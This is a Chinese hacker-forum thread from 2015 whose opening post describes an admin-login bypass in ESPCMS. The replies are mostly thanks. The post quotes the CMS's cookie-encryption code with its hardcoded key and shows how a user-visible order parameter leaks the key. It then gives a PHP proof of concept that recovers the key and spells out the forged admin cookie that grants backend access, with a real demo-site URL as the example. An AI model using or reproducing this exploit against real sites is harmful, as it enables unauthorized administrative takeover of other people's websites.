查看: 88376|回复: 162

ESPCMS最新版后台登入绕过漏洞

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2015-6-2 11:23:58 | 显示全部楼层 |阅读模式
    看看加解密函数
    [PHP] 纯文本查看 复制代码
    function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
    $result = null;
    if ($operation == 'ENCODE') {
    if (extension_loaded('mcrypt') && $mcrype) {
    $result = $this->encryptCookie($string, $key);
    } else {
    for ($i = 0; $i < strlen($string); $i++) {
    $char = substr($string, $i, 1);
    $keychar = substr($key, ($i % strlen($key)) - 1, 1);
    $char = chr(ord($char) + ord($keychar));
    $result.=$char;
    }
    $result = base64_encode($result);
    $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
    }
    } elseif ($operation == 'DECODE') {
    if (extension_loaded('mcrypt') && $mcrype) {
    $result = $this->decryptCookie($string, $key);
    } else {
    $data = str_replace(array('-', '_'), array('+', '/'), $string);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
    $data .= substr('====', $mod4);
    }
    $string = base64_decode($data);
    for ($i = 0; $i < strlen($string); $i++) {
    $char = substr($string, $i, 1);
    $keychar = substr($key, ($i % strlen($key)) - 1, 1);
    $char = chr(ord($char) - ord($keychar));
    $result.=$char;
    }
    }
    }
    return $result;
    }

    比以前的多了一句话
    [PHP] 纯文本查看 复制代码
    if (extension_loaded('mcrypt') && $mcrype) {
    $result = $this->encryptCookie($string, $key);

    如果存在 mcrypt模块且 $mcrype为true,则调用 encryptCookie进行加密,
    看到encryptCookie
    [PHP] 纯文本查看 复制代码
    function encryptCookie($value, $key = '@LFK24s224%@safS3s%1f%') {
    if (!$value) {
    return false;
    }
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $value, MCRYPT_MODE_ECB, $iv);
    return trim(base64_encode($crypttext));
    }

    php自带的 加密函数。。给跪。
    在对会员,后台等cookie操作进行 加密时 mcrype都是默认为true的,于是乎以前的 方法不行了。
    但是,在 /interface/ordermain.php这个文件中,发现 加密时,竟然设置了mcrype为false。
    [PHP] 纯文本查看 复制代码
    function in_read() {
    ............
    $payobj = new $plugcode();
    $codesn = $this->fun->eccode($plugcode . $read['ordersn'] . $oid, 'ENCODE', db_pscode, FALSE);
    $respondArray = array('code' => $plugcode, 'ordersn' => $read['ordersn'], 'oid' => $oid, 'codesn' => $codesn);
    $return_url = $this->get_link('paybackurl', $respondArray, admin_LNG, 0, 1);
    ..........

    我们可以 将这个 codesn 用以前的方法还原出 key。
    后台检测管理员权限的代码如下
    [PHP] 纯文本查看 复制代码
    if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)

    用得到的key加密
    [PHP] 纯文本查看 复制代码
    1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)

    这个值,即可登入后台了。(password随意,注意admin_AGENT和admin_ClassURL别写错了。 )

    首先,注册用户,购买个商品,来到查看订单的页面,审查元素,
    [PHP] 纯文本查看 复制代码
    return_url=http://demo.ecisp.cn/html/cn/index.php?ac=respond&at=payok&codesn=ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw&code=alipay&ordersn=ESP-201502240614511702&oid=198

    return_url后面的就是我们需要的了。
    填入 poc,
    [PHP] 纯文本查看 复制代码
    $text = "明文"; //得到的字符串中,code,ordersn,oid 依次拼接的值
     
    $cookie = "ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw"; //cookie
     
    $bincookie = base64_decode($cookie);
     
    for ($j=0; $j < strlen($text); $j++) { 
    echo chr( ord($bincookie[$j]) - ord($text[$j]) );
    }

    然后 将得到的key
    [PHP] 纯文本查看 复制代码
    5b16dd028ac5b2eabab6125A6A88B****

    用encryptCookie加密,修改 cookie ecisp_admininfo,即可登入后台

    评分

    参与人数 1i币 +5 收起 理由
    蓝颜 + 5 支持原创

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-6-26 21:42:56 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-26 23:55:00 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 03:36:12 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2015-6-27 23:18:18 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 12:52:00 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2015-6-28 13:45:28 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 01:49:59 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 23:14:34 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 14:31:02 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-22 13:52 , Processed in 0.044314 second(s), 19 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部